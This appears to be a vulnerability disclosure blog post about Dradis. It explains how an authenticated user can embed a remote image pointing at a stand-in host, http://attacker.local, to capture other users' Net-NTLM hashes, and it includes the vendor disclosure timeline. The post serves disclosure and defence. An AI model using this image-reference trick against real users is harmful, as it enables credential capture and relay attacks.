Dradis, a widely used documentation tool among penetration testers for creating and managing penetration testing reports, is vulnerable to an issue that allows an authenticated user to trigger a Net-NTLM authentication request from fellow users, if they visit a prepared issue/evidence in a Dradis project. This vulnerability could potentially impact any internal web application where user inputs are rendered. However, it becomes particularly straightforward to exploit in a documentation tool like Dradis.

To better understand how this vulnerability impacts internal web applications, I highly recommend this blog post by Blaze Information Security. In summary, an attacker -specifically an authenticated user in Dradis- can reference a remote image within an issue or evidence. Yes, you read that right: remote.

When you upload or insert an image into Dradis, the platform generates the following (sample) shortcode:

!/pro/projects/5774/nodes/189950/attachments/sample.png(Demo Caption [[-figuremark-demo]])!

The initial path represents the URI of the image stored on the Dradis server. Replace this path with http://attacker.local/sample.png, and the process will function correctly. When the post or evidence is rendered, the user’s browser will issue an HTTP request to http://attacker.local/ to retrieve sample.png. Suppose attacker.local resolves to 192.168.1.2 (direct IP addresses also work). At this IP address, an HTTP listener is actively waiting for incoming requests. When an HTTP request is received, the listener immediately initiates a Challenge-Response mechanism and requests authentication using NTLM. In Windows environments, this process exploits the operating system’s behavior where it automatically attempts to authenticate via Net-NTLM. From the user’s perspective, this interaction occurs silently, without any noticeable impact or alerts. However, during this process, the user’s Net-NTLM hash is transmitted to the attacker, enabling the hash to be captured and potentially relayed for unauthorized activities.

This issue impacts any web application operating within internal networks, not exclusively Dradis. Dradis is mentioned here because its documentation neither acknowledges nor anticipates scenarios where users reference remote images.

The vulnerability was reported to Security Roots Ltd. on December 11, 2023. Although they acknowledged the issue after some discussions, it was deemed a low priority and remains unresolved to this day.

Disclosure Timeline

11.12.2023 Initial notification per email
14.12.2023 Receipt confirmation
31.01.2024 Security Roots responds: “This is a configuration issue on the Windows network side of things and not Dradis vulnerability”
01.02.2024 Sent my thoughts on this issue
27.02.2024 Security Roots responds: “Our developers determined that this is not something we are looking to fix at this time, because […]”
04.07.2025 This public disclosure ¯\_(ツ)_/¯

* The Dradis Pro logo is copyrighted by Security Roots Ltd.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.